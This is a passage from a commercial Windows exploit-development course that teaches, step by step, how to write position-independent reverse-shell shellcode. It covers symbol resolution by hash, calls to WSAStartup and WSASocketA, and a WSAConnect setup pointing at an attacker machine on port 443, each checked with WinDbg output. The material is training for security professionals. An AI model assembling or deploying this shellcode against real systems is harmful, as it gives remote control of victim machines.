76e6bd36 ff254c49ec76 jmp dword ptr [KERNEL32!_imp__TerminateProcess
(76ec494c)]
76e6bd3c cc int 3
76e6bd3d cc int 3
76e6bd3e cc int 3
Listing 326 - Using an indirect call to resolve the address of TerminateProcess

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 269
Windows User Mode Exploit Development

The output from Listing 326 shows that the indirect call does not contain any NULL bytes.
Additionally, by stepping over the call, we can confirm that our shellcode is working correctly and
can retrieve the virtual memory address of TerminateProcess.
We can remove all breakpoints and let our shellcode continue execution to cleanly terminate the
process again.
0:002> bc *

0:002> bl

0:002> g
eax=00000101 ebx=013d2868 ecx=016bf87c edx=770a4550 esi=014103e8 edi=014105a8
eip=770a4550 esp=016bf87c ebp=016bfa8c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
770a4550 c3 ret
Listing 327 - Calling TerminateProcess and cleanly terminating the process

In this section, we learned a technique that enabled us to maintain our shellcode’s functionality
while using indirect CALL instructions to avoid NULL bytes. Our shellcode is also now position-
independent, which means we can inject it anywhere in memory and it will dynamically retrieve its
position.
With all the building blocks of a shellcode in place, it’s time to choose our shellcode’s purpose.
Next, we’ll work on resolving and calling exported symbols that are required to achieve the
functionality of a reverse shell.

7.5.2.1 Exercises
1. Update your shellcode with the necessary functions to dynamically retrieve its position in
memory.
2. Single step through the instructions and ensure that you understand how to avoid NULL
bytes by using CALL instructions, as well as indirect calls, to generate a negative offset.
3. Using WinDbg, step through your shellcode and ensure that it still works as expected.
4. Comment out the INT3 instruction and run the shellcode without a debugger attached.
Ensure that it terminates the process without crashing.

7.6 Reverse Shell


We are now ready to make a fully-functioning shellcode. In this section, we’ll explore how to
create one of the most common shellcodes, a reverse shell.

It is important to keep in mind that while a reverse shell is common, it is not the
only thing that can be done using shellcode. The shellcode in modern exploits
will often store an additional exploit, creating what is commonly known as an
exploit chain.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 270
Windows User Mode Exploit Development

A review of a number of publicly-available reverse shells written in C237 reveals that most of the
required APIs are exported by Ws2_32.dll. We first need to initialize the Winsock DLL using
WSAStartup.238 This is followed by a call to WSASocketA239 to create the socket, and finally
WSAConnect240 to establish the connection.
The last API we need to call is CreateProcessA241 from kernel32.dll. This API will start cmd.exe.
Now that we have an overview of the libraries and APIs we need, let’s break them down into
multiple steps.

7.6.1 Loading ws2_32.dll and Resolving Symbols


Our shellcode can already resolve symbols from kernel32.dll, so our first step is to resolve the
CreateProcessA API (which is exported by kernel32.dll) and store the address for later use. Next,
we need to load ws2_32.dll into the shellcode memory space and obtain its base address. Both of
these tasks can be achieved using LoadLibraryA,242 which is exported by kernel32.dll.
In order to resolve symbols from ws2_32.dll, we could use the GetProcAddress API from
kernel32.dll. However, we can simply reuse the functions that we have implemented previously.
The only requirement is that the base address of the module needs to be in the EBX register, so
that relative virtual addresses can be translated to virtual memory addresses.
Let’s modify our current shellcode to load ws2_32.dll and resolve the required symbols for our
reverse shell:
" find_function_finished: " #
" popad ;" # Restore registers
" ret ;" #

" resolve_symbols_kernel32: "


" push 0x78b5b983 ;" # TerminateProcess hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save TerminateProcess address for
later usage
" push 0xec0e4e8e ;" # LoadLibraryA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x14], eax ;" # Save LoadLibraryA address for later
usage
" push 0x16b3fe72 ;" # CreateProcessA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x18], eax ;" # Save CreateProcessA address for later
usage
...
Listing 328 - Resolving LoadLibraryA and CreateProcessA as part of the resolve_symbols_kernel32 function

237
(sololearn - Windows Reverse Shell), https://code.sololearn.com/c9QMueL0jHiy/#cpp
238
(Microsoft - WSAStartup), https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
239
(Microsoft - WSASocketA), https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
240
(Microsoft - WSAConnect), https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect
241
(Microsoft - CreateProcessA), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa
242
(Microsoft - LoadLibraryA), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 271
Windows User Mode Exploit Development

Our updated shellcode resolves the remaining two symbols we need from kernel32.dll,
LoadLibraryA and CreateProcessA, as part of the resolve_symbols_kernel32 function.
Next, we need to set up the call to LoadLibraryA.
" load_ws2_32: " #
" xor eax, eax ;" # Null EAX
" mov ax, 0x6c6c ;" # Move the end of the string in AX
" push eax ;" # Push EAX on the stack with string NULL
terminator
" push 0x642e3233 ;" # Push part of the string on the stack
" push 0x5f327377 ;" # Push another part of the string on the
stack
" push esp ;" # Push ESP to have a pointer to the
string
" call dword ptr [ebp+0x14] ;" # Call LoadLibraryA
Listing 329 - Load ws2_32.dll into the shellcode memory space

We’ll start by setting EAX to NULL. Then, we move the end of the ws2_32.dll string to the AX
register and push it to the stack. This ensures that our string will be NULL terminated, while
avoiding NULL bytes in our shellcode.
After two more PUSH instructions, the entire string is pushed to the stack. The following
instruction pushes the stack pointer (ESP) to the stack. This is necessary because LoadLibraryA
requires a pointer to the string that is currently located on the stack.
Finally, we call LoadLibraryA and proceed into the resolve_symbols_ws2_32 function.
" resolve_symbols_ws2_32: "
" mov ebx, eax ;" # Move the base address of ws2_32.dll to
EBX
" push 0x3bfcedcb ;" # WSAStartup hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x1C], eax ;" # Save WSAStartup address for later
usage
...
Listing 330 - Moving the ws2_32.dll base address to EBX and calling find_function

This function resuses our find_function implementation to resolve symbols from ws2_32.dll. But
first, we need to set the EBX register to the base address of ws2_32.dll.
The return value of LoadLibraryA is a handle to the module specified as an argument. This handle
comes in the form of the base address of the module. If the call to LoadLibraryA is successful,
then we should have the base address of ws2_32.dll in the EAX register, allowing us to move it to
EBX using a simple MOV instruction:
With the base address of ws2_32.dll in EBX, we push the individual hashes for every required
symbol. In our case, we start with WSAStartup and call find_function to resolve them.
Let’s run our updated shellcode to confirm it works inside our debugger. After hitting our INT3
instruction, we will set up a breakpoint right at the beginning of load_ws2_32 and resume the
execution flow.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 272
Windows User Mode Exploit Development

0:002> bp 026000a0

0:002> bl
0 e Disable Clear 026000a0 0001 (0001) 0:****

0:002> g
Breakpoint 0 hit
eax=76e68d80 ebx=76e40000 ecx=00000000 edx=02600000 esi=02600030 edi=00d31ca0
eip=026000a0 esp=027ffd10 ebp=027fff2c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
026000a0 31c0 xor eax,eax
Listing 331 - Reaching the beginning of the load_ws2_32 function in our shellcode

We proceed to single step through the instructions until we reach the call to LoadLibraryA. Before
stepping over the call, let’s verify the first argument pushed on the stack:
0:002> r
eax=00006c6c ebx=76e40000 ecx=00000000 edx=02600000 esi=02600030 edi=00d31ca0
eip=026000b2 esp=027ffd00 ebp=027fff2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
026000b2 ff5514 call dword ptr [ebp+14h]
ss:0023:027fff40={KERNEL32!LoadLibraryAStub (76e6a5c0)}

0:002> da poi(esp)
027ffd04 "ws2_32.dll"

0:002> p
eax=75070000 ebx=76e40000 ecx=00000000 edx=00000000 esi=02600030 edi=00d31ca0
eip=026000b5 esp=027ffd04 ebp=027fff2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
026000b5 89c3 mov ebx,eax

0:002> r @eax
eax=75070000

0:002> lm m ws2_32
Browse full module list
start end module name
75070000 750cb000 WS2_32 (deferred)
Listing 332 - Loading ws2_32.dll in memory and obtaining its base address

The output from Listing 332 shows that our argument is set up correctly before the call to
LoadLibraryA.
After we step over the call, we’ll notice that ws2_32.dll is now loaded in the memory space of our
shellcode, and EAX contains its base address.
Finally, we need to ensure that our find_function implementation works with ws2_32.dll. Let’s step
through the assembly instructions to reach the PUSH instruction that places the hash for
WSAStartup on the stack, and then call find_function.
0:002> t
eax=75070000 ebx=75070000 ecx=00000000 edx=00000000 esi=02600030 edi=00d31ca0
eip=026000b7 esp=027ffd04 ebp=027fff2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 273
Windows User Mode Exploit Development

026000b7 68cbedfc3b push 3BFCEDCBh

0:002> t
eax=75070000 ebx=75070000 ecx=00000000 edx=00000000 esi=02600030 edi=00d31ca0
eip=026000bc esp=027ffd00 ebp=027fff2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
026000bc ff5504 call dword ptr [ebp+4] ss:0023:027fff30=02600030

0:002> p
eax=750825e0 ebx=75070000 ecx=00000000 edx=00000000 esi=02600030 edi=00d31ca0
eip=026000bf esp=027ffd00 ebp=027fff2c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
026000bf 89451c mov dword ptr [ebp+1Ch],eax ss:0023:027fff48=cacdbf08

0:002> u @eax
WS2_32!WSAStartup:
750825e0 8bff mov edi,edi
750825e2 55 push ebp
750825e3 8bec mov ebp,esp
750825e5 6afe push 0FFFFFFFEh
750825e7 6898fb0a75 push offset WS2_32!StringCopyWorkerW+0x2fc (750afb98)
750825ec 6850680875 push offset WS2_32!_except_handler4 (75086850)
750825f1 64a100000000 mov eax,dword ptr fs:[00000000h]
750825f7 50 push eax
Listing 333 - Resolving WSAStartup from ws2_32.dll

Listing 333 shows that our find_function implementation works correctly, even when using a
different DLL.
After resolving all the required symbols for our shellcode, our next step is calling one API at a time
to obtain a reverse shell.

7.6.1.1 Exercises
1. Update the shellcode to resolve the LoadLibraryA and CreateProcessA symbols from
kernel32.dll.
2. As part of the shellcode, include a function that will call the LoadLibraryA API and load
ws2_32.dll in the memory space of our shellcode. Confirm the base address with the result
in the EAX register.
3. Reuse find_function to resolve the WSAStartup, WSASocketA, and WSAConnect symbols.

7.6.2 Calling WSAStartup


As discussed previously, the first API we need to call is WSAStartup243 to initiate the use of the
Winsock DLL by our shellcode. Let’s inspect the function prototype:

int WSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
);

243
(Microsoft - WSAStartup), https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 274
Windows User Mode Exploit Development

Listing 334 - The prototype of WSAStartup

The first parameter appears to be the version of the Windows Sockets specification. We’ll set this
parameter to “2.2”. We can learn more about other available versions from the official
documentation.
The second parameter is a pointer to the WSADATA244 structure. According to Microsoft, this
structure will receive details about the Windows Sockets implementation. We need to reserve
space for this structure, so let’s discover its length by going over its prototype and inspecting the
size of each structure member.
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
#if ...
unsigned short iMaxSockets;
#if ...
unsigned short iMaxUdpDg;
#if ...
char *lpVendorInfo;
#if ...
char szDescription[WSADESCRIPTION_LEN + 1];
#if ...
char szSystemStatus[WSASYS_STATUS_LEN + 1];
#else
char szDescription[WSADESCRIPTION_LEN + 1];
#endif
#else
char szSystemStatus[WSASYS_STATUS_LEN + 1];
#endif
#else
unsigned short iMaxSockets;
#endif
#else
unsigned short iMaxUdpDg;
#endif
#else
char *lpVendorInfo;
#endif
} WSADATA;
Listing 335 - WSADATA structure

Reviewing the structure definition (Listing 335) and information on the Microsoft website, we note
that some of the members are no longer used if the version is higher than “2.0”.
While most of the fields have defined lengths, there are a couple that remain problematic such as
the szDescription and szSystemStatus fields. According to the official documentation,
szDescription can have a maximum length of 257 (WSADESCRIPTION_LEN, which is 256 plus the
string NULL terminator). Unfortunately, there is no mention of the length of the szSystemStatus
field.

244
(Microsoft - WSADATA), https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 275
Windows User Mode Exploit Development

There are two ways to determine the length of this field. We could code the socket in C and then
inspect the structure inside WinDbg, or we could use online resources to determine the size of
this field. One of the most reliable resources for such information is the source code of
ReactOS.245

ReactOS is an open-source operating system designed to run Windows software


and drivers. It uses a large number of structures that come from reverse-
engineering older versions of the Windows operating system.

The source code of ReactOS tells us that the maximum length of the szSystemStatus246 field is
129 (WSASYS_STATUS_LEN, which is 128 plus the NULL terminator).
While we do not know the exact size of the structure, we do know that just these two fields
(szDescription and szSystemStatus) can occupy a maximum of 0x182 bytes. Taking into account
the other fields of the structure, which have defined sizes, we can calculate the maximum length
of the structure using WinDbg:
0:002> ? 0x2 + 0x2 + 0x2 + 0x2 + 0x4 + 0n256 + 0n1 + 0n128 + 0n1
Evaluate expression: 398 = 0000018e
Listing 336 - Calculating the size of the WSADATA structure inside WinDbg

Because the size of this structure is larger than the space we currently reserved on the stack as
part of the start function, we need to modify our shellcode and subtract a higher value from ESP
to account for the structure’s size.
After going over the arguments we need to supply to the WSAStartup API and determining the
size of the structure it uses, let’s update our shellcode and attempt to call it.
import ctypes, struct
from keystone import *

CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN
NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" add esp, 0xfffff9f0 ;" # Avoid NULL bytes
...
" call_wsastartup: " #
" mov eax, esp ;" # Move ESP to EAX
" mov cx, 0x590 ;" # Move 0x590 to CX
" sub eax, ecx ;" # Subtract CX from EAX to avoid
overwriting the structure later
" push eax ;" # Push lpWSAData
" xor eax, eax ;" # Null EAX

245
(ReactOS), https://reactos.org/
246
(ReactOS - WSASYS_STATUS_LEN),
https://doxygen.reactos.org/dd/d21/winsock2_8h.html#acc8153c87f4d00b6e4570c5d0493b38c

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 276
Windows User Mode Exploit Development

" mov ax, 0x0202 ;" # Move version to AX


" push eax ;" # Push wVersionRequired
" call dword ptr [ebp+0x1C] ;" # Call WSAStartup
Listing 337 - reverse_shell_0x02.py: Calling the WSAStartup API

The call_wsastartup function shown in Listing 337 begins by moving the memory address from
ESP, which we used as a storage location for our resolved symbols, to the EAX register.
Next we encounter a MOV instruction that stores the 0x590 value in the CX register. Then, we’ll
find a SUB instruction that will subtract the value of ECX (0x590) from EAX, which stores the
stack pointer.
As part of the call to WSAStartup, the API will populate the WSADATA structure that is currently
on the stack. Because of this, we need to ensure that later shellcode instructions do not overwrite
the contents of this structure. One way of achieving this is by subtracting an arbitrary value
(0x590) from the stack pointer and using that as storage for the structure.
After the SUB operation, we’ll push EAX to the stack. The next XOR instruction will zero out EAX
and we will move the 0x0202 value to the AX register to act as the wVersionRequired argument.
Finally, we can push this argument to the stack and call WSAStartup. Let’s run the shellcode,
single step through the call_wsastartup function inside WinDbg, and verify the return code after
our call to WSAStartup.
0:002> r
eax=00000202 ebx=75070000 ecx=00000590 edx=00000000 esi=02970030 edi=01391ca0
eip=029700e8 esp=02b6f670 ebp=02b6faac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
029700e8 ff551c call dword ptr [ebp+1Ch]
ss:0023:02b6fac8={WS2_32!WSAStartup (750825e0)}

0:002> dds @esp L2


02b6f670 00000202
02b6f674 02b6f0e8

0:002> p
eax=00000000 ebx=75070000 ecx=831d218e edx=00000202 esi=02970030 edi=01391ca0
eip=029700eb esp=02b6f678 ebp=02b6faac iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
029700eb 0000 add byte ptr [eax],al ds:0023:00000000=??
Listing 338 - Calling WSAStartup inside WinDbg

The output from Listing 338 shows us that the return value of the function stored in EAX is 0,
which indicates a successful call according to the official documentation.
We’ve now learned how to initiate the Winsock DLL, so we can continue with the remaining API
calls.

7.6.2.1 Exercises
1. Go over the official WSAStartup API documentation to make sure you understand the
arguments it requires.
2. Determine the maximum size of WSDATA using online resources and the official structure
definition.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 277
Windows User Mode Exploit Development

3. Update your shellcode and ensure you can successfully call the WSAStartup API.

7.6.3 Calling WSASocket


We now need to invoke the WSASocketA247 API, which is responsible for creating the socket. Once
again, let’s review the function prototype:
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
Listing 339 - The prototype of WSASocketA

The prototype of this function (Listing 339) reveals there are six arguments required for the call.
Most of these arguments have familiar data types such as INT and DWORD, but we’ll also find
some odd data types within the lpProtocolInfo and g parameters that require additional review.
We want to determine what arguments are needed by the function in our shellcode, so let’s tackle
each parameter in order.
We’ll start with the af parameter, which is the address family used by the socket. The official
documentation mentions which common address families are supported by the API. Exploring
the list, we’ll find that AF_INET (2) corresponds to the IPv4 address family. This is what our
reverse shell will use.
The next parameter, type, specifies the socket type as its name implies. Again, the official
documentation offers a list of possible values for this parameter. Our reverse shell will be going
over the Transmission Control Protocol (TCP), so we need to supply the SOCK_STREAM (1)
argument for the socket type.
According to the official documentation, the protocol parameter is based on the previous two
arguments supplied to the function. In our case, it needs to be set to IPPROTO_TCP (6).
Continuing to review the official documentation, the lpProtocolInfo parameter seems to require a
pointer to the WSAPROTOCOL_INFO248 structure. Before we dive into this structure, it is important
to note that this parameter can be set to NULL (0x0). If set to null, Winsock will use the first
transport-service provider,249 which matches our other parameters. Because we are using
standard protocols in our reverse shell (TCP/IP), we should not encounter any issues by having
this parameter NULL.
Next, we have the g parameter. This parameter is used for specifying a socket group ID. Since we
are creating a single socket, we can set this value to NULL as well.

247
(Microsoft - WSASocketA), https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
248
(Microsoft - WSAPROTOCOL_INFOA), https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-
wsaprotocol_infoa
249
(Microsoft - Transport Service Providers), https://docs.microsoft.com/en-us/windows/win32/winsock/transport-service-providers-
2

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 278
Windows User Mode Exploit Development

Finally, we reach the dwFlags parameter, which is used to specify additional socket attributes.
Because we do not require any additional attributes for our current shellcode, we will also set this
value to NULL.
Now that we’re more familiar with the arguments we need to set up and pass to the API, let’s
implement this function call in our shellcode:
" call_wsasocketa: " #
" xor eax, eax ;" # Null EAX
" push eax ;" # Push dwFlags
" push eax ;" # Push g
" push eax ;" # Push lpProtocolInfo
" mov al, 0x06 ;" # Move AL, IPPROTO_TCP
" push eax ;" # Push protocol
" sub al, 0x05 ;" # Subtract 0x05 from AL, AL = 0x01
" push eax ;" # Push type
" inc eax ;" # Increase EAX, EAX = 0x02
" push eax ;" # Push af
" call dword ptr [ebp+0x20] ;" # Call WSASocketA
Listing 340 - reverse_shell_0x03.py: Calling the WSASocketA API

The code from Listing 340 starts by zeroing out EAX, and then pushing it on the stack three times.
We push this value because the last three parameters of this API are set to NULL. We then move
the value 0x06 into the AL register and push it onto the stack. We pass this value as the protocol
argument of IPPROTO_TCP (6).
This is followed by a SUB instruction, which subtracts the value 0x05 from AL. The value in AL
becomes 0x01, matching the SOCK_STREAM (1) value that we want to pass as the type
argument. We can then push that onto the stack.
The address family (af) argument must be set to AF_INET (2). We’ll use the INC instruction on the
EAX register, which currently contains the value 0x01, to increase the value by one and push it to
the stack.
Let’s run our updated proof of concept. After hitting our INT3 instruction, we set a breakpoint on
the CALL to WSASocketA. After hitting our breakpoint, we’ll step over the function and inspect the
return value:

0:002> bp 02a500f8

0:002> bl
0 e Disable Clear 02a500f8 0001 (0001) 0:****

0:002> g
Breakpoint 0 hit
eax=00000002 ebx=75070000 ecx=6a720271 edx=00000202 esi=02a50030 edi=01251ca0
eip=02a500f8 esp=02c4f9ec ebp=02c4fe38 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
02a500f8 ff5520 call dword ptr [ebp+20h]
ss:0023:02c4fe58={WS2_32!WSASocketA (750856d0)}

0:002> dds @esp L6


02c4f9ec 00000002
02c4f9f0 00000001

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 279
Windows User Mode Exploit Development

02c4f9f4 00000006
02c4f9f8 00000000
02c4f9fc 00000000
02c4fa00 00000000

0:002> p
ModLoad: 73af0000 73b40000 C:\Windows\system32\mswsock.dll
eax=00000180 ebx=75070000 ecx=6a720271 edx=012f4204 esi=02a50030 edi=01251ca0
eip=02a500fb esp=02c4fa04 ebp=02c4fe38 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02a500fb 0000 add byte ptr [eax],al ds:0023:00000180=??
Listing 341 - Calling WSASocketA inside WinDbg

The return value from Listing 341 is 0x180. The official documentation indicates that if the call is
unsuccessful, the return value is INVALID_SOCKET250 (0xFFFF). Otherwise, the function returns a
descriptor referencing the socket.
We have now successfully created a socket by calling the WSASocketA API and obtained a
descriptor referencing it in the EAX register. Next, we’ll establish a connection to our Kali machine.

7.6.3.1 Exercises
1. Using the official documentation, go over each parameter of the WSASocketA API to
understand the arguments we are using in our shellcode.
2. Update the shellcode to include the necessary instructions to call WSASocketA.
3. Confirm that the call is successful using WinDbg.

7.6.4 Calling WSAConnect


With our socket created, we can call WSAConnect,251 which establishes a connection between
two socket applications. As we have done for past API calls, let’s examine the function prototype:
int WSAAPI WSAConnect(
SOCKET s,
const sockaddr *name,
int namelen,
LPWSABUF lpCallerData,
LPWSABUF lpCalleeData,
LPQOS lpSQOS,
LPQOS lpGQOS
);
Listing 342 - The prototype of WSAConnect

The first parameter of the WSAConnect API is the SOCKET type, simply named s. This parameter
requires a descriptor to an unconnected socket, which is exactly what the previous call to
WSASocketA returned. At this point in our shellcode, that value is in the EAX register, and we will
need to ensure we do not overwrite it.

250
(Microsoft - Handling Winsock Errors), https://docs.microsoft.com/en-us/windows/win32/winsock/handling-winsock-errors
251
(Microsoft - WSAConnect), https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 280
Windows User Mode Exploit Development

Let’s move on to the second parameter, a pointer to a sockaddr252 structure. This structure varies
depending on the protocol selected. For the IPv4 protocol, we will use the sockaddr_in253
structure, as mentioned in the official documentation. Let’s inspect the structure definition:
typedef struct sockaddr_in {
#if ...
short sin_family;
#else
ADDRESS_FAMILY sin_family;
#endif
USHORT sin_port;
IN_ADDR sin_addr;
CHAR sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;
Listing 343 - SOCKADDR_IN structure

The first member of the structure is sin_family, which requires the address family of the transport
address. Official documentation directs us to ensure this value is always set to AF_INET.
The next member is sin_port, which as the name implies, specifies the port. This is followed by
sin_addr, a nested structure of the type IN_ADDR.254 This nested structure will store the IP address
used to initiate the connection to. The structure definition differs based on how the IP address is
passed. In memory, however, the structures look identical. This means we can store the IP
address inside a DWORD, as shown below:
typedef struct in_addr {
union {
struct {
UCHAR s_b1;
UCHAR s_b2;
UCHAR s_b3;
UCHAR s_b4;
} S_un_b;
struct {
USHORT s_w1;
USHORT s_w2;
} S_un_w;
ULONG S_addr;
} S_un;
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
Listing 344 - IN_ADDR structure

The last member of the sockaddr_in structure is sin_zero, a size 8 character array. According to
the official documentation, this array is reserved for system use, and its contents should be set to
0.
Now that we have discussed the sockaddr_in structure and the IN_ADDR nested structure, let’s
take another look at the WSAConnect prototype:

252
(Microsoft - sockaddr), https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2
253
(Microsoft - SOCKADDR_IN), https://docs.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-sockaddr_in
254
(Microsoft - IN_ADDR), https://docs.microsoft.com/en-us/previous-versions/windows/hardware/drivers/ff556972(v=vs.85)

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 281
Windows User Mode Exploit Development

int WSAAPI WSAConnect(


SOCKET s,
const sockaddr *name,
int namelen,
LPWSABUF lpCallerData,
LPWSABUF lpCalleeData,
LPQOS lpSQOS,
LPQOS lpGQOS
);
Listing 345 - The prototype of WSAConnect

After the *name parameter, which is a pointer to the sockaddr_in structure, we need to provide the
size of the previously-passed structure as the namelen parameter. We can calculate the size of
sockaddr_in, which is 0x10 bytes long, using the data types from the structure definition.
The next two parameters, lpCallerData and lpCalleeData, require pointers to user data that will be
transferred to and from the other socket. According to the documentation, these parameters are
used by legacy protocols and are not supported for TCP/IP. We can set both of these to be NULL.
The lpSQOS parameter requires a pointer to the FLOWSPEC255 structure. This structure is used in
applications that support quality of service (QoS)256 parameters. This is not the case for our
shellcode, so we can set it to NULL.
Lastly, the lpGQOS parameter is reserved and should be set to NULL.
Before updating our shellcode, we need to convert the IP address and the port of our Kali machine
to the correct format. This machine will receive the connection from our shellcode. We will use
WinDbg while attached to the python.exe process for this conversion:
0:002> ? 0n192
Evaluate expression: 192 = 000000c0

0:002> ? 0n168
Evaluate expression: 168 = 000000a8

0:002> ? 0n119
Evaluate expression: 119 = 00000077

0:002> ? 0n120
Evaluate expression: 120 = 00000078

0:002> ? 0n443
Evaluate expression: 443 = 000001bb
Listing 346 - Getting the hexadecimal representation of our IP address

With the hex values of our IP address and port generated, we can now update our shellcode with
the call to the WSAConnect API:
" call_wsaconnect: " #
" mov esi, eax ;" # Move the SOCKET descriptor to ESI

255
(Microsoft - FLOWSPEC), https://docs.microsoft.com/en-us/windows/win32/api/qos/ns-qos-flowspec
256
(QoS - quality of service), https://searchunifiedcommunications.techtarget.com/definition/QoS-Quality-of-Service

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 282
Windows User Mode Exploit Development

" xor eax, eax ;" # Null EAX


" push eax ;" # Push sin_zero[]
" push eax ;" # Push sin_zero[]
" push 0x7877a8c0 ;" # Push sin_addr (192.168.119.120)
" mov ax, 0xbb01 ;" # Move the sin_port (443) to AX
" shl eax, 0x10 ;" # Left shift EAX by 0x10 bytes
" add ax, 0x02 ;" # Add 0x02 (AF_INET) to AX
" push eax ;" # Push sin_port & sin_family
" push esp ;" # Push pointer to the sockaddr_in
structure
" pop edi ;" # Store pointer to sockaddr_in in EDI
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpGQOS
" push eax ;" # Push lpSQOS
" push eax ;" # Push lpCalleeData
" push eax ;" # Push lpCalleeData
" add al, 0x10 ;" # Set AL to 0x10
" push eax ;" # Push namelen
" push edi ;" # Push *name
" push esi ;" # Push s
" call dword ptr [ebp+0x24] ;" # Call WSASocketA
Listing 347 - reverse_shell_0x04.py: Calling the WSAConnect API

The call_wsaconnect function starts by saving the socket descriptor (obtained in the previous
step) to ESI. This will only work if our instructions do not mangle ESI before the call to
WSAConnect.
Next, we NULL the EAX register, and then push it twice to the stack. These two PUSH instructions
set up the sin_zero character array from the sockaddr_in structure.
We then proceed to push a DWORD that represents the hexadecimal value of our Kali IP address.
We’ll need to push it in reverse order due to the endian byte order. This also applies to our next
instruction, which moves a WORD to the AX register containing the hexadecimal representation of
our desired port (443).
Using the SHL257 instruction, we’ll left-shift the EAX value by 0x10 bytes and then add 0x02 to the
AX register. This is done because both the sin_port and sin_family members are defined as
USHORT, meaning they are each two bytes long. Then we will push the resulting DWORD to the
stack, completing the sockaddr_in structure. Next, we obtain a pointer to it using the PUSH ESP
and POP EDI instructions to use later.
The next instruction nulls the EAX register, and we PUSH it to the stack four times. This sets up
the NULL arguments for our function call.
Next, we add 0x10 to the AL register and push it on the stack as our namelen argument. Finally,
we push the pointer to the sockaddr_in structure, stored in EDI, and the socket descriptor from
ESI. After all the arguments have been pushed on the stack, we call the API.
Let’s run our updated shellcode, set a breakpoint at the call to WSAConnect, and inspect the
arguments we pass.

257
(Faydoc - SHL), http://faydoc.tripod.com/cpu/shl.htm

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 283
Windows User Mode Exploit Development

0:002> bp 0235011f

0:002> g
ModLoad: 73af0000 73b40000 C:\Windows\system32\mswsock.dll
Breakpoint 0 hit
eax=00000010 ebx=75070000 ecx=adbfb388 edx=00aed3fc esi=00000180 edi=0254f8d0
eip=0235011f esp=0254f8b4 ebp=0254fd14 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0235011f ff5524 call dword ptr [ebp+24h]
ss:0023:0254fd38={WS2_32!WSAConnect (75084d90)}

0:002> dds @esp L7


0254f8b4 00000180
0254f8b8 0254f8d0
0254f8bc 00000010
0254f8c0 00000000
0254f8c4 00000000
0254f8c8 00000000
0254f8cc 00000000

0:002> dds 0254f8d0 L4


0254f8d0 bb010002
0254f8d4 7877a8c0
0254f8d8 00000000
0254f8dc 00000000
Listing 348 - Inspecting the arguments passed to WSAConnect inside WinDbg

According to the output from Listing 348, we have successfully created the sockaddr_in on the
